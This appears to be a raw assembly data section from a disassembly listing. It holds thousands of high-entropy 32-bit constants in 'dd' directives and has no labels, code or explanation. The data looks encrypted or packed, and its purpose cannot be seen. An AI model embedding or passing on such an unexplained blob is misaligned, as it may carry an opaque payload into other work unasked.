		dd 2F68E870h, 0F2A3B4Dh, 0FF460E05h, 5047F232h,	4D4039AAh
		dd 69507266h, 0C55F68F7h, 50F3F7Ch, 0A1D727E1h,	0B9108B83h
		dd 1C4E1017h, 28FEB7D5h, 0AFAD5765h, 0ADC0CA3Dh, 6C540500h
		dd 0BE564095h, 855E1238h, 9B6BC37h, 0D8C8E955h,	15870E9h
		dd 12B353F5h, 0CC2CCB80h, 2C907EF3h, 57328497h,	5FCBE6B8h
		dd 7289970Bh, 4B7A6577h, 39046E7Ch, 0E933716h, 1E9A31h
		dd 761167D1h, 77F7413Bh, 0E916E160h, 0BFFE1E87h, 0F672C50Eh
		dd 9CEB4E60h, 0B030E999h, 8EB8AA71h, 317F0152h,	4C1D4F05h
		dd 54BB7023h, 0F46BEA89h, 68255D61h, 19E5DFC5h,	0E91739A2h
		dd 4444F28h, 0C9BE52DBh, 84D421B7h, 810F75DAh, 59E07FC7h
		dd 0C162680Ah, 1905180Ch, 83C589F8h, 2C1AD7EEh,	0A7BF3C88h
		dd 123F1CC5h, 0BEACB363h, 1C8B5989h, 683D5594h,	1B34AB5h
		dd 0A57AE91Eh, 220A81F2h, 0A9179B6Bh, 0A644F201h, 0B36A504Ah
		dd 7DC82FEBh, 0C4D86722h, 16718A0Ch, 0DD391832h, 4EE33B91h
		dd 0FBBDE982h, 66025D6h, 0BF156E1Ch, 3CF1BA74h,	8154E5FEh
		dd 5F146668h, 797C2Dh, 6FEC0DC9h, 1DDAE581h, 813C455Bh
		dd 67109F5h, 0AD07703Eh, 309F5C81h, 60BC4135h, 0FD78192Dh
		dd 0C3C8AD50h, 0C7200582h, 0EB42B377h, 0F5A91D87h, 0A580AC6Eh
		dd 12B7D8DEh, 237C6165h, 0C23A1375h, 0C77502FBh, 160BA4EEh
		dd 0D5C9D0ABh, 3FE3FF44h, 5FF2ADEDh, 0BB544F7h,	39F40C9Eh
		dd 88581F05h, 520BC29Ch, 64500A1Eh, 72E92711h, 77CD095Fh
		dd 0EF4DD6B4h, 33BA4E19h, 9D5087BAh, 0A16A317h,	0B8B91F58h
		dd 91CBD13Dh, 0BBF09660h, 0D8212729h, 0C9D19736h, 44E4E46Fh
		dd 0ADD23FF6h, 300D84CBh, 0EB1492F3h, 0B2A7C659h, 9ED58E13h
		dd 8EDF95DEh, 84396E52h, 41C1157Eh, 14EC0A4Ah, 0E9591757h
		dd 8211C54Bh, 8140F345h, 35E85182h, 8118F0BCh, 0BBB3378h
		dd 0F5EAE960h, 27DB6757h, 43EB97C8h, 830524C0h,	92AF8193h
		dd 3AF8EBA4h, 38981230h, 41BEF829h, 0C2112008h,	0C2B2C97h
		dd 0D34716BCh, 29891456h, 0D472307Dh, 2DFCCF28h, 0A2593925h
		dd 0E8CC903Fh, 0B8EBF678h, 0A5A84A14h, 96A5BC6Fh, 0A8B3B166h
		dd 0F7838416h, 0D4D23A07h, 0C5D289FEh, 74127BBDh, 0F23440C2h
		dd 27DA10BFh, 3F9169F6h, 3045EF1Fh, 0F0ABF8C1h,	0A790F3D7h
		dd 6E50A517h, 0E9068DB8h, 0C0B7D62h, 0D32C1A10h, 7F83CD07h
		dd 0C14523D9h, 0F5BD80EDh, 104BB82h, 3635E966h,	0B7D8B1D3h
		dd 0D5979192h, 3102110Bh, 27C62811h, 0EB4FE2F0h, 2F65FD0h
		dd 0A2535C3Fh, 18EE1D3Eh, 25E468E2h, 3513247Fh,	0FB94BB15h
		dd 2EE45C1Bh, 1D1321E0h, 0B2615F5Fh, 0C000686Eh, 6C705EFh
		dd 0A56FD007h, 46F34627h, 0F418F512h, 0FD09EBD7h, 55FB78F7h
		dd 0B22E2071h, 64DAB030h, 0F725830h, 0BF8CC04Fh, 0B0582532h
		dd 6159121Ch, 5AD4EECCh, 317821A6h, 0DE42EC3h, 9D6B4AC9h
		dd 76B82A96h, 0BE3AAE17h, 40D2A71Ch, 0ADC2C01h,	0FA6069CDh
		dd 88229FAFh, 7D320FECh, 28D52B19h, 0F7BD4FE7h,	0D9108E47h
		dd 3566264Ah, 45364DBAh, 71283008h, 0B704CA42h,	971D0B38h
		dd 0CF39036h, 6F5CB415h, 5A0A054Dh, 0A0BA0562h,	0FBB5066Bh
		dd 42C6A64Bh, 8C7E2892h, 92C10B4Fh, 0E89F57Ch, 0D9F18609h
		dd 0C94BA469h, 0B3C1DDF8h, 6FAFB252h, 2F6C5A0h,	0A5F280D2h
		dd 0CF70D488h, 49B1AC20h, 0CB207801h, 2F7FCC3Ah, 1797F009h
		dd 0CF7A8EE9h, 0C18A4B2Eh, 0E205F904h, 7E0DC022h, 2B04493Bh
		dd 0FF5AFCE9h, 92CDA9EBh, 270DDBBFh, 50E84CCFh,	131CA651h
		dd 12E7A4Ah, 0C02989BAh, 0C94F3A5Ah, 0E27983F6h, 2C0C0009h
		dd 0E93391DCh, 0E9B73CDBh, 0A26A0211h, 0B439A3A9h, 0E1054800h
		dd 603BED51h, 0EF6F8B35h, 53825D4Eh, 8A0A6CA4h,	57440C04h
		dd 42CBB7C2h, 0E908032Bh, 31EB8C2Ah, 38084172h,	0E16AC47Bh
		dd 0E5403A1Ah, 11B7BFD7h, 51E55449h, 0FB501138h, 0AB70448Fh
		dd 8439F369h, 98C1560Fh, 938F4DC0h, 0AC65A0CAh,	417C8744h
		dd 2CD75494h, 42680B4Fh, 4C2F661Dh, 8120A5D1h, 67A9BE05h
		dd 10C249E5h, 0C2478h, 17402FBFh, 8682546h, 75279C7Ch
		dd 0ADC94B89h, 0D8288202h, 0C0762646h, 2D090A55h, 0EE15FA3h
		dd 0FE7E05Eh, 0ECD21AC0h, 0D621B9DEh, 0B0E20142h, 6B6E4267h
		dd 0AEE9C391h, 9BA9524h, 25AC2CEAh, 0EDD1DE22h,	97D58DFh
		dd 64311BE6h, 282BC481h, 581F703Ch, 0EB8D664Eh,	71A26D40h
		dd 0A8794A4Fh, 748150C9h, 0CA9EEBB6h, 33B0D7E5h, 0AE9937A3h
		dd 23E2D749h, 96F377Eh,	0D562300Ah, 79DC286Bh, 8C41558Bh
		dd 300CF82Bh, 0C6B9EA06h, 52033C9Dh, 4ED74D93h,	80E55B37h
		dd 0C28CBBC4h, 0C97C4AB7h, 72EE21A2h, 0CCBE9294h, 294BEDC9h
		dd 4BA2FBD1h, 86074F1h,	0D12D80EBh, 9B6AE401h, 5585D50h
		dd 4BDC76ECh, 391C417h,	0A650E907h, 57E0994Eh, 103F64E1h
		dd 70B2AE52h, 0AF5D8CC5h, 9A3F728Eh, 0E038FADEh, 786E175Dh
		dd 4D7BD66h, 39335095h,	6370895Ch, 0F95B88F6h, 332AFAA9h
		dd 0B5D15F1Ah, 4D73950h, 25C077Ah, 0FA5B84F8h, 0F8F59512h
		dd 46EADAD3h, 7E680970h, 388FE252h, 0EDEF8FC4h,	62AED700h
		dd 2BFF177Ch, 543762E5h, 2A2302D1h, 0E0571D96h,	94CDA640h
		dd 0B75340B1h, 0B03B5098h, 39CC59h, 58C730B6h, 5EE9F888h
		dd 259180FFh, 2601563Ch, 17C357Ah, 0AB2036C4h, 8E633C72h
		dd 4A20DED8h, 68F75832h, 12127E17h, 3B6A0459h, 0E16DE82Fh
		dd 0F32A1486h, 0E44F3F99h, 1CBA0948h, 2C82C0A4h, 0CF297E8Eh
		dd 0E4886CB4h, 342D00ABh, 5B06CC4Fh, 1F18D5A0h,	0F42B3B2Fh
		dd 48614190h, 3DE9F042h, 0E3EC304Ah, 2D9F9C4h, 0D4497468h
		dd 89ED6706h, 0DA5B3BF5h, 0D7A0D5DFh, 367E29C7h, 0F797030Eh
		dd 6A0073D0h, 68CD0FBCh, 0E1D11D41h, 0AF6E53E9h, 0AD823E27h
		dd 62F97634h, 0BC5367C4h, 0EC2EDDA8h, 0A9D5374h, 4B8F2CBh
		dd 0AEF4DFC2h, 31540E42h, 0A1F24A07h, 9DB006B6h, 8956D195h
		dd 0FF673358h, 0C627BF0Fh, 0BCC0B95h, 239C120Ch, 0AE2A6770h
		dd 51795B93h, 0EC06114Fh, 206CF531h, 534F9C9Eh,	50BDA610h
		dd 10133106h, 0FC0442E7h, 6802BE41h, 0D8760AEAh, 5F09069h
		dd 53091374h, 0BB7B000Ch
		dd 251E2A8Dh, 89601198h, 5EF3310Dh, 2C49032Dh, 3EE92F77h
		dd 61EF4F4Eh, 8E3DDD0Bh, 0AB65BE56h, 0C6A58141h, 0A5E4828Ch
		dd 29BAC989h, 0B1EBDF24h, 458A7E6Dh, 87DDF70Eh,	40064B4Dh
		dd 0FE90522h, 6025F89Ch, 82B07A3Bh, 27C3B940h, 17F2410Ch
		dd 1635B85Ah, 0A77960Ah, 427B7F91h, 5A055D10h, 2C25CEA8h
		dd 3F84D0D0h, 7404844Bh, 0B90163C2h, 614F472Fh,	0DDE42F30h
		dd 0E00B77A0h, 0C2DCBF4Bh, 68155D85h, 71F36081h, 0B2C0C3C0h
		dd 83E9160Ah, 0D38DBFB1h, 26A54320h, 12DDC16Bh,	820DBCF1h
		dd 51652468h, 0FA4A3C4Fh, 1150AD8Ah, 4A919497h,	0EA9F42DCh
		dd 4BA3BB05h, 6AA3A95Bh, 20390C90h, 0D2313B99h,	0B5AD2193h
		dd 5F82EDAh, 2EB92C4Eh,	24E3384Eh, 5BFF9510h, 0CF82F187h
		dd 0DC2A48BCh, 66160761h, 81C8015Eh, 0CA4F6883h, 0A791745Fh
		dd 3CC28063h, 0FA6E7677h, 0FFA0BD73h, 0C704B0BAh, 0C4EDFAA2h
		dd 679AE2ABh, 88132E0Ch, 0D5EEE080h, 0D0D0BF62h, 72191A25h
		dd 545B5837h, 0E92CEA70h, 29E0CCD9h, 0B4B20052h, 8008E2C0h
		dd 549F35CAh, 0DA3C39BCh, 284DC286h, 2E9832D0h,	46E22AF9h
		dd 0AFC0C7C4h, 6C420B04h, 1EC00B12h, 0ED015979h, 4632E431h
		dd 20F4F6DDh, 900C4C4Bh, 4947D27h, 0C9129F4Fh, 0F89725EDh
		dd 96208FEEh, 674EDBA7h, 7F236DC6h, 6627008Fh, 0E9CC38F5h
		dd 41884ACCh, 0A92AC366h, 3A0C80D9h, 0E9E87D12h, 0A44B6BA0h
		dd 0FDDA92F5h, 4A4D6B64h, 31AD1688h, 66BD4704h,	0C05F2D09h
		dd 136B0596h, 9197E2Ch,	61D4ED16h, 0A1BE0CB4h, 56882FC2h
		dd 9801F683h, 142100F3h, 0C1816D90h, 3A3B418Fh,	4EC9002Fh
		dd 55791A62h, 0C71530E9h, 713C5BDh, 0CC35863Dh,	319E5B17h
		dd 32FD4B4Eh, 77959DF8h, 9B8AA316h, 72095657h, 86E6575Ah
		dd 0F73519B2h, 0E7BB1B14h, 0BDECD641h, 0F2F1BD4h, 3FC091A2h
		dd 0D7BA0505h, 5EA2A3F8h, 6866650Fh, 5A1D5D53h,	0CCE2818Eh
		dd 3FF20A59h, 7AA5526Fh, 0BD6F28F4h, 0F406D71Ah, 553D3C7Eh
		dd 54C1BD0Fh, 0FFEB31C4h, 5098EBA2h, 1C61C7C3h,	6CDEB0Ah
		dd 0DB9F300h, 0E92756FEh, 0C08BE227h, 802359BDh, 0EB0AE7BFh
		dd 0A489F458h, 7F16412Fh, 28F5B43Eh, 8400395Dh,	5E0A5A6Dh
		dd 8F45290h, 56E376AFh,	0B48914BCh, 585DA71h, 140F40EAh
		dd 3D02BD59h, 5E17BA62h, 20EA13BAh, 0FCCBE929h,	0D2A703B4h
		dd 41C798E2h, 31FB3BD5h, 733A5DE4h, 0CCB800EBh,	2D4D6439h
		dd 157B7A05h, 0E1BCE971h, 55248661h, 4B4B20DCh,	2F684740h
		dd 8196B71h, 0BB6CEA11h, 98584120h, 0EDB035A2h,	61CEFF0Dh
		dd 4276680Bh, 0A0FA8232h, 5EBBBF04h, 0D0AE02C1h, 75AC1AFBh
		dd 0E6B0A25Bh, 657CF1EAh, 565E68C2h, 91B14DA0h,	0FF01C180h
		dd 0DDB55150h, 387294E9h, 39700805h, 0F3018341h, 65FC064Ah
		dd 25E90C40h, 5529F523h, 0E11F8EDDh, 296D507Dh,	0EF302C30h
		dd 0AE05CA69h, 0EBE599CEh, 28107E45h, 291717A3h, 0DE7DFDDCh
		dd 68448FC9h, 2F774310h, 4DF03809h, 0B16716A0h,	89D23B03h
		dd 0ACF75BDAh, 7E4AD1C2h, 97DE2D57h, 0B26B5679h, 99EFD3DFh
		dd 0F211121Fh, 0E110FBFCh, 0BBDDBE41h, 0F702376Dh, 4FFE7F5Fh
		dd 6017FBD7h, 7E40E95Ch, 0B4F389CDh, 0C3111C39h, 37EF5F4Ah
		dd 25EF8697h, 9EEE5D4Ah, 3A0048C5h, 98CB75E9h, 7096795Eh
		dd 0A0B71DBCh, 692D4728h, 0A6D0BF51h, 3EEDE39Fh, 5D05A1E0h
		dd 95BEE901h, 0F2C7AE25h, 8B6059Bh, 530B16B3h, 0E221B468h
		dd 8E4537E9h, 0E9C6090Ah, 5539C27Eh, 0DD5A6754h, 784B4980h
		dd 478827A8h, 0A5925DE9h, 0AFFC6816h, 0B050B030h, 0FAB638E6h
		dd 1464A84Fh, 0DEFC8DD6h, 103B6A0Ch, 91FD5B01h,	6E6DE6AFh
		dd 0C3C603A8h, 0D94A5707h, 4A000F12h, 0E7E5D0EDh, 38E9104Dh
		dd 0ACB84F67h, 0B273E85Bh, 2ED1C408h, 65E9383Eh, 0C1A6FF21h
		dd 2CD6CF10h, 65008153h, 0BB739E0Eh, 0DD4A097Bh, 0F1D501C1h
		dd 6CE36011h, 37612B53h, 94643B38h, 0F8C98220h,	6B3E3F3Dh
		dd 69BDBB84h, 0F384C078h, 52E42D15h, 0B7F4D0BDh, 4D289444h
		dd 8690EC96h, 18066A03h, 42DF012Bh, 0E9130840h,	8A29EAC2h
		dd 0BDA27Fh, 9145098h, 0A85B4C68h, 954EA6F8h, 763BE2E7h
		dd 6829024Fh, 52C9047Ch, 0D76685A5h, 931466Ah, 3131F897h
		dd 0C34D64D3h, 6392F455h, 839F08F6h, 3525CABh, 321797C4h
		dd 0FCF14B64h, 0F5D324DAh, 0A73BE439h, 5D3F4014h, 0FC185AD3h
		dd 59912774h, 811EA603h, 363035DEh, 2AB8405Bh, 237E4C59h
		dd 1E18E105h, 0D0FE4D3Bh, 0C7B21AEFh, 1EC3C84Eh, 0EA16BCD4h
		dd 5B5E3C3Ch, 9609E33Dh, 0F7F300BBh, 9B862DD8h,	0F0BC44B8h
		dd 7932FD27h, 0E2125573h, 53FAAAD2h, 420B6BC6h,	0CDDC2BC2h
		dd 577BF153h, 9D89624h,	2F74685Bh, 1F5CF9Bh, 9E43CF83h
		dd 92A0DA0Ah, 3B5255A1h, 6564F495h, 0E40C5AC7h,	32091B41h
		dd 0D701C958h, 51DD1AB2h, 687FCBC2h, 973690ABh,	68C597F9h
		dd 137A53FBh, 0E0A9CD3Ah, 36D6E782h, 68B2F2ECh,	0FF952550h
		dd 7C97AE96h, 3E215A72h, 7B34B9E9h, 0A1FFCBD4h,	22116FE8h
		dd 148925B5h, 51E49F30h, 98265392h, 9B897051h, 8C77F108h
		dd 0E954CCB4h, 0E509F44Fh, 27057668h, 98A0ED57h, 7B107259h
		dd 0E94C4502h, 0FDFFA550h, 0C21213F1h, 0E6C401AEh, 6B730877h
		dd 4EE913B0h, 0D0DE8021h, 0DF09F6E7h, 0D44FC780h, 0C6E469CCh
		dd 4EE45E3Ch, 0BD25DCBFh, 7D6F356Ah, 0B4E50C07h, 76785589h
		dd 0BC3C152Ch, 2D6859E0h, 0D8A9A814h, 0CF43B6D7h, 0E820494Bh
		dd 0C87803BFh, 0E7C1621Fh, 99D6516Fh, 7BAE3C51h, 2CBBED74h
		dd 39D4B170h, 57A50709h, 0DDBB120Dh, 0ADB62621h, 28A7E080h
		dd 758FF15Ch, 1059665Ch, 89D43986h, 0B680F63Ch,	0C60EBD3Fh
		dd 0D095C049h, 27909C23h, 0BF6F197Fh, 89F0A9C2h, 52F95D0Bh
		dd 5BAB1467h, 0C89AB3CAh, 0B5BAB005h, 0D84C4454h, 91199203h
		dd 3C16BCADh, 68161E5h,	829D6BCEh, 0EE04647Eh, 0CAD492B6h
		dd 7F3BE9B0h, 0D82954C5h, 4B86F3BFh, 0D8E96DEBh, 0E89553C4h
		dd 2FA64491h, 17DCF54h,	6DE9DACBh, 151EBFAEh, 0AC5EE7C0h
		dd 0B004FDCh, 6C4F7F2Ah, 1175954Eh, 0D0DA8776h,	0C48F538h
		dd 0B849050h, 0D4F4D64Fh, 113D23DDh, 0CFE9042Ch, 0FF9C631Fh
		dd 0C2395793h, 79095DAFh, 807BF3D2h, 55187E26h,	0CAA4DDCBh
		dd 0A05109E9h, 17314214h, 845E6870h, 0AA591607h, 0EF0BF212h
		dd 85BFC18h, 0E9617E4Bh, 0B097CBECh, 52C2E42Dh,	67EAEAF7h
		dd 208D9D7h, 0DCAACF9Dh, 362EB380h, 18C146A0h, 718D1077h
		dd 630F006Eh, 0D3F70E85h, 818FC595h, 20175DBEh,	4DA47B4Dh
		dd 6F88098Ch, 0D1F5290Dh, 0AC484DBAh, 0EB0EFA04h, 86E425CBh
		dd 9C012BD4h, 0D236DBCh, 23D943Fh, 55BFE908h, 9AB7C77Ch
		dd 0D7681F83h, 0C2BCF9D4h, 2D100502h, 8DD1181h,	802807C9h
		dd 0ABAE55B4h, 540E4A26h, 98AE1241h, 3A4EE9CBh,	0E7BB3200h
		dd 0B83EFC56h, 73410A11h, 9C842074h, 0E32CC6F3h, 0A204C653h
		dd 899C550Ah, 0ACABE90Eh, 0B9513DA7h, 49517A75h, 0F94E0759h
		dd 0CE2184FBh, 2947591Dh, 2A7C265Bh, 6D324E51h,	0D75822FDh
		dd 2CCE2673h, 77B22A76h, 850C5A2Ch, 69DDFCC3h, 9C07024h
		dd 64EA629Bh, 0EF7FA24Ah, 0AD59AF8Bh, 74AC9C2h,	2EFD6358h
		dd 0A5D32D3Eh, 0BB73809Fh, 5AA17B6Eh, 10C7E802h, 2112B6DFh
		dd 0C86691F8h, 7822DAAh, 300646F5h, 0AD80DF54h,	48B5402Ah
		dd 3373DB6Dh, 0C35E80EFh
		dd 0D1F6E501h, 5308E1C0h, 8182ADEDh, 0EC5A172Dh, 820F8FFFh
		dd 0F714C266h, 0D13B89F2h, 55081FCh, 6DF8353Ah,	7011B25h
		dd 0E23B5E5Bh, 7C14CBE8h, 7AB0C246h, 858BA771h,	0A6925180h
		dd 25F2520h, 0D7CE2951h, 6657CA92h, 0D1A725DAh,	5572E2D6h
		dd 0F3DF7D62h, 95862C50h, 593B81B7h, 0C32281Ah,	0DF0705BAh
		dd 1E7F8274h, 250FD37Dh, 29C786D5h, 84FD5A4Fh, 0DF58C236h
		dd 2587AB8Ah, 0E8481E61h, 6897772Eh, 5088F06Bh,	8021FEF7h
		dd 40E01C2Dh, 3EAE2651h, 0E91211BCh, 16DEED1Ah,	0AFA344A1h
		dd 0E1DE2493h, 52386ADFh, 0B5D792FAh, 1A3EFDFBh, 0C0474638h
		dd 0FD3F6809h, 0FF5B5DC2h, 0FAA8E985h, 415EBBB4h, 2BA13B72h
		dd 0E0612CF4h, 0B25232F8h, 0E5D7D00Ah, 0CAD7A77Dh, 0D55A5FD3h
		dd 2DA1165Dh, 0A52DF6BEh, 7925F670h, 6984E5CCh,	0B58E5A5Dh
		dd 68C1D27Eh, 0CB6B1445h, 0EAF54A04h, 0E476AD2Bh, 0A65CF8BFh
		dd 0D71B726h, 0E039C06Bh, 62779408h, 5975A813h,	0CB680548h
		dd 0E32CFA0Bh, 32169D53h, 656C460Ah, 5213D471h,	0EED69CA9h
		dd 0F072E362h, 0DDD8BF68h, 91EFD3Fh, 0F5C1897Ah, 0B8B0A564h
		dd 949FC1B8h, 10F14253h, 68096996h, 0ED4678E6h,	0BB3BCF2Eh
		dd 0C706BAE0h, 986FED75h, 3E4FE963h, 0AA3B4FA1h, 79687D7Ch
		dd 884695EBh, 0DF219409h, 6388446h, 0E9090AA8h,	22DEB973h
		dd 0DF311662h, 5D130067h, 8EC32CBFh, 33A22A4Eh,	0C0BFC08Fh
		dd 3CB45066h, 0E4B7E120h, 0BAB29B7h, 3B0102F6h,	49603643h
		dd 4A2E7303h, 40002F1Ah, 89F91C5Ch, 4E4698F1h, 0FFBC09E7h
		dd 0D92E4B75h, 4639E219h, 197F56A2h, 1C67499h, 2FF1B85Dh
		dd 436036E1h, 313C40BCh, 0C0E7CD4Bh, 77DB267Fh,	4B674267h
		dd 0F49EE2DCh, 9F6C6B5Eh, 8A89571Fh, 17733374h,	0AC354DEBh
		dd 0E013C5E7h, 0C6809690h, 632E9455h, 0C1D842B1h, 0C84C28BCh
		dd 7320A4h, 5327A9B9h, 0C77BF4Ch, 7726F52Dh, 6A6C9920h
		dd 54B84043h, 6F3F9376h, 0DD61D897h, 0E1035C51h, 74D60718h
		dd 3FCC2B7h, 9C687F40h,	6A8F6F4Ah, 2132FA5Fh, 287409D8h
		dd 1584B8E0h, 403701BFh, 3A466F05h, 585FDA5Fh, 47FE4DB3h
		dd 94F2B640h, 686603E7h, 96A44CABh, 0D63E1064h,	86A27862h
		dd 532DF15Dh, 94B3DC25h, 5C880BD0h, 0CB5C0187h,	0A2EE3C2h
		dd 47220591h, 4E06A8B7h, 0A80016EAh, 59F312C8h,	0C1EBE2BFh
		dd 27E95158h, 0BEC7076Ah, 23C392B4h, 50573842h,	0BA52036Eh
		dd 0E1D5ADBh, 5CC3F2E0h, 0E91625B0h, 37BBAACEh,	705D9969h
		dd 33989745h, 7482CB0Eh, 0D29E810Ch, 7F890F83h,	54127CB9h
		dd 4E6AE233h, 5B2A02ABh, 6A61F630h, 5B16685Eh, 16446AA0h
		dd 570819C7h, 6BDEFA45h, 61F95A12h, 562057h, 3D345EBDh
		dd 78273047h, 7768B502h, 21ACE671h, 0E74BB610h,	26BB4BA8h
		dd 7ABD18E7h, 40E91210h, 7B17B768h, 16B45D32h, 5F8BD55Eh
		dd 76073B74h, 2AF26E44h, 0C0E4AF83h, 612D5DE3h,	75BF0557h
		dd 0EF392365h, 36E80780h, 84C35A29h, 0CB7B8484h, 5998609Dh
		dd 0B7571D7Bh, 0F2203402h, 16922E5Dh, 8A680E42h, 0AACEDF47h
		dd 2841E91Ah, 8DF65549h, 572DD424h, 0E9048F97h,	0E9BE39EAh
		dd 84E5C44Bh, 191C62BBh, 9D2D8210h, 0E69D126Ch,	7A6B20C9h
		dd 6C75682Dh, 3C2D2FD9h, 0FB4D94F5h, 0ED2AB5D5h, 79B1504Eh
		dd 1E738213h, 407F9DC2h, 6052E9E7h, 21EECB35h, 0D76854Dh
		dd 0FC1F607h, 0E64267F3h, 330CD406h, 2DD1C918h,	59D03042h
		dd 894EB095h, 0B1ECB5F9h, 2D8E5895h, 96FD6C69h,	77B802EBh
		dd 50559139h, 3558FC68h, 735BCC09h, 0A8EC844Dh,	107DCAFAh
		dd 0CE486287h, 242FA810h, 5204154Eh, 8780795Fh,	12048ABDh
		dd 4D7F67h, 4C5A828Bh, 6B6453Eh, 8295550Eh, 0D9117AE9h
		dd 0F910CB69h, 0FF95D357h, 0CE88F614h, 49BE0995h, 0C3C5462h
		dd 7B122582h, 0CEC7F81h, 1E97EC80h, 7FB831F2h, 0D1B6B25Eh
		dd 6EC36809h, 0BF5BF646h, 0F6B00C49h, 2515206Eh, 0E55660E2h
		dd 0B5E2952h, 9DE0F678h, 326C4509h, 51D0FA5Ah, 5E0B59D7h
		dd 87EEBD7Ch, 3A6128DDh, 79658FE9h, 3F25B66Bh, 4B01402Fh
		dd 9219EC2h, 0C1372CE9h, 0AFDB1433h, 69B9F96Bh,	351A4623h
		dd 24D3CD3Dh, 5C0BD2DEh, 7997CA39h, 0B0340973h,	0F2C1C16Ah
		dd 0A7BE0071h, 0C275F244h, 0F42D8C2Eh, 3CBA1F40h, 58C130B7h
		dd 0C8044410h, 9C272B4Bh, 77076582h, 33F34522h,	58C5DC55h
		dd 5D540568h, 8E4D62CAh, 0CF9D4F67h, 0E959A42Bh, 0D8C2F74Eh
		dd 4A4E7954h, 17910045h, 0E9C131D8h, 2B0F30C9h,	9A1577DCh
		dd 2FBFC6A5h, 0DD90546Dh, 6431685Ah, 96D7A95Fh,	0D9010E51h
		dd 62B66890h, 2227242Ah, 0FD5E4640h, 9F41C650h,	0A49688C7h
		dd 35E004Bh, 0F2F49A2h,	3EDC541h, 13D77B0Bh, 8C22C856h
		dd 0FC385B95h, 3BD5C46h, 18C652BDh, 1B0B8EB9h, 49699AE9h
		dd 0EEE5E5ECh, 18757AC2h, 95543FE6h, 2543D071h,	3197E870h
		dd 0FA12E62Dh, 1218B0C1h, 0A8735FE9h, 0D90C96AAh, 0BF64402Dh
		dd 9D022584h, 46DD5EEh,	92FC1EFAh, 0D83E4F63h, 21A351CCh
		dd 40B8F34Ah, 50F1CAB1h, 32FCCDE4h, 0C23A7527h,	0F8BCC024h
		dd 744F2540h, 4971037Ah, 31D53B12h, 0B61507EEh,	0CC770928h
		dd 0FA014E0Eh, 0E950218Bh, 337B1770h, 2DB2E436h, 0D1A1454Eh
		dd 242B67EDh, 0F69A811Ah, 1903F3Dh, 1A6C3E72h, 0B76BE44h
		dd 277DBA0Bh, 5F692989h, 50900D52h, 0D0D1B98Bh,	0C77D801Fh
		dd 41D95C71h, 0A650B701h, 0E55A0881h, 23FF70CFh, 0CD60C59Ch
		dd 0B867DF6Fh, 27C600AAh, 0E2C130DEh, 0E5256808h, 376C985Fh
		dd 33B60B67h, 29A971E9h, 2C9AD182h, 0C9655DDCh,	41BB1490h
		dd 5E562F40h, 278BEAFCh, 64905C54h, 13C8ADC7h, 51B91A85h
		dd 2B6C68A0h, 0AEA7BB5h, 496412B4h, 1E161A02h, 0A40F8D5h
		dd 792F82CEh, 6C602CFh,	0A8A6FC10h, 0A19803FFh,	0AFCBB428h
		dd 5C956790h, 0E040722Bh, 32B90926h, 0D3BD1302h, 0F142FFA6h
		dd 6814907Fh, 0A6344BC0h, 0A6693C7h, 18540918h,	0FD563510h
		dd 0F59D08A0h, 0C8D8119Ah, 31EF515Fh, 6EE1E9DAh, 0E43C59D3h
		dd 0B5E5F9EBh, 9408FABh, 0C51ED168h, 0FB0189E9h, 0C89FD15Dh
		dd 0FAEB6464h, 0D2569DB4h, 25D2E0A8h, 0E58721Eh, 48B08DD3h
		dd 0FF009F5Fh, 394E57B3h, 4B976BEBh, 96555CABh,	2946BE59h
		dd 0E7365B3Ch, 0C1FAFC7Bh, 85707FBAh, 40E14320h, 56024837h
		dd 0FA7D67BEh, 6260D74Dh, 4A1E5C35h, 0C1130B46h, 49C0D2F8h
		dd 3F7AE181h, 329323Bh,	303766F1h, 59A02621h, 0A8D312BDh
		dd 784FDE3Ah, 0F6A53E28h, 0B4DFC2A5h, 6DBF2D00h, 5A583DADh
		dd 163064FDh, 0B4C0B829h, 2158C0BAh, 0F424E9E8h, 3E4EFE70h
		dd 0DF1CE089h, 494B3EFAh, 62C70C90h, 0A164650Eh, 1197AB2Dh
		dd 0C869E3D7h, 9FCAD49Bh, 0BC1586E8h, 4B0273B7h, 757A96FEh
		dd 1395D71Ch, 8F688907h, 591E55D2h, 590B00EBh, 58463C17h
		dd 0EE9C784h, 15E3FAC0h, 0E90D9413h, 4DE986E7h,	0F20126B3h
		dd 68C029Ch, 4614F05h, 7833D845h, 6B85DC97h, 0CD0C5B32h
		dd 0FB9D533Eh, 3C2B89DBh, 66EF9EF6h, 4166523h, 8E74F1B8h
		dd 0E1F0BF2Dh, 497212C9h, 6A04EA58h, 0CBFFC689h, 54CE2F84h
		dd 5D40C238h, 4F13E677h, 876DC668h, 0DD22F490h,	0CD659D4Eh
		dd 0E984C7A3h, 388A915Eh, 0E90A4447h, 0BEFA8837h, 8B55EE27h
		dd 956F1617h, 5C4031D4h, 0D32710E9h, 0BBCEBA38h, 6F6E8E09h
		dd 93F1A480h, 4809804Ah
		dd 0AD06E950h, 0DA6BD984h, 4BCB12B0h, 58C68242h, 8BCCC701h
		dd 0A374607Fh, 8E32EA80h, 6489D95Ah, 0EAEB96D3h, 2CE945A0h
		dd 40E162AEh, 8C07C15h,	0BAEE4D7Ch, 0C9C8FEB7h,	14B00465h
		dd 0A3E312BBh, 498FB0C0h, 17F17CBh, 92FD01CEh, 30603328h
		dd 5F763CCCh, 1C13434Ch, 51946708h, 0A97012E1h,	0D4EAE2BAh
		dd 41F7011Ch, 0B1E93F5Ch, 0B2BA006Fh, 0C7C28015h, 0CADE609Fh
		dd 5C69FE76h, 0E3A4EB5Ch, 0F9F617F6h, 0AEBE31AAh, 41D00C4Eh
		dd 34A02F63h, 28954EF2h, 81FFD46Eh, 23D5E317h, 0CE81661Fh
		dd 39E818EBh, 0FC047F3Eh, 0A116F051h, 306996Eh,	0EACC94B0h
		dd 0B570E120h, 4F574E4Eh, 4F063895h, 0F5970E41h, 0DE887118h
		dd 0C03B5BF2h, 5650A5EEh, 0EA0E171Dh, 11CCEE06h, 0AEC090Bh
		dd 485FD4F6h, 7AE1C0C0h, 36D97F07h, 881069F1h, 0E9F25DF6h
		dd 4D189CE1h, 8DEFCB17h, 439C3F24h, 0C380136Fh,	0AEB1BA37h
		dd 0C158F2D7h, 51392240h, 0D3B47Dh, 28642C5Bh, 20E904D8h
		dd 57803458h, 0BA5F4B58h, 0BFEC22D9h, 0DC1B13D9h, 0EA240212h
		dd 0C05FCF78h, 27541D29h, 0FA7B3634h, 74C50B20h, 0EA8D9B2h
		dd 78F76882h, 93905376h, 4B7F513Bh, 0D6FFAC1Bh,	8005B1ACh
		dd 0FA1D3F7Bh, 9C6B5B63h, 0F257D78Ch, 28750291h, 0DFF75F1Dh
